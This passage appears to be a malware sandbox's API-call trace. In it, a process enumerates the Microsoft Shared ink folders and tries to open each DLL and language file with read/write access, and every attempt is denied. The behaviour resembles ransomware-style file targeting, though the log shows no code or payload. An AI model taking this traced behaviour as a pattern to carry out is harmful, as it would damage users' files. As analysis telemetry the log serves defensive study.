ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.452] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72 [0086.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.453] GetLastError () returned 0x5 [0086.453] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.453] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0086.453] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT") returned 56 [0086.453] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*") returned 60 [0086.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.455] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.455] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.455] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72 [0086.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.457] GetLastError () returned 0x5 [0086.457] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.457] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.457] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0086.457] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV") returned 56 [0086.457] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*") returned 60 [0086.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.458] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.458] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.458] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0086.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.458] GetLastError () returned 0x5 [0086.459] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.459] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.459] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0086.459] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll") returned 61 [0086.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.460] GetLastError () returned 0x5 [0086.460] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0086.460] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0086.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.461] GetLastError () returned 0x5 [0086.461] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0086.461] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0086.461] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0086.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.461] GetLastError () returned 0x5 [0086.461] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0086.462] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0086.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.462] GetLastError () returned 0x5 [0086.462] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0086.462] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0086.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.462] GetLastError () returned 0x5 [0086.462] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0086.463] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO") returned 56 [0086.463] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*") returned 60 [0086.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.463] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.464] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.464] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0086.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.464] GetLastError () returned 0x5 [0086.464] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.464] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.464] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0086.464] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL") returned 56 [0086.465] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*") returned 60 [0086.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.465] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.465] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.465] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0086.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.466] GetLastError () returned 0x5 [0086.466] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.466] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.466] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0086.466] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL") returned 56 [0086.466] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*") returned 60 [0086.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.468] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.468] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.468] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0086.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.470] GetLastError () returned 0x5 [0086.470] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.470] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.470] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: 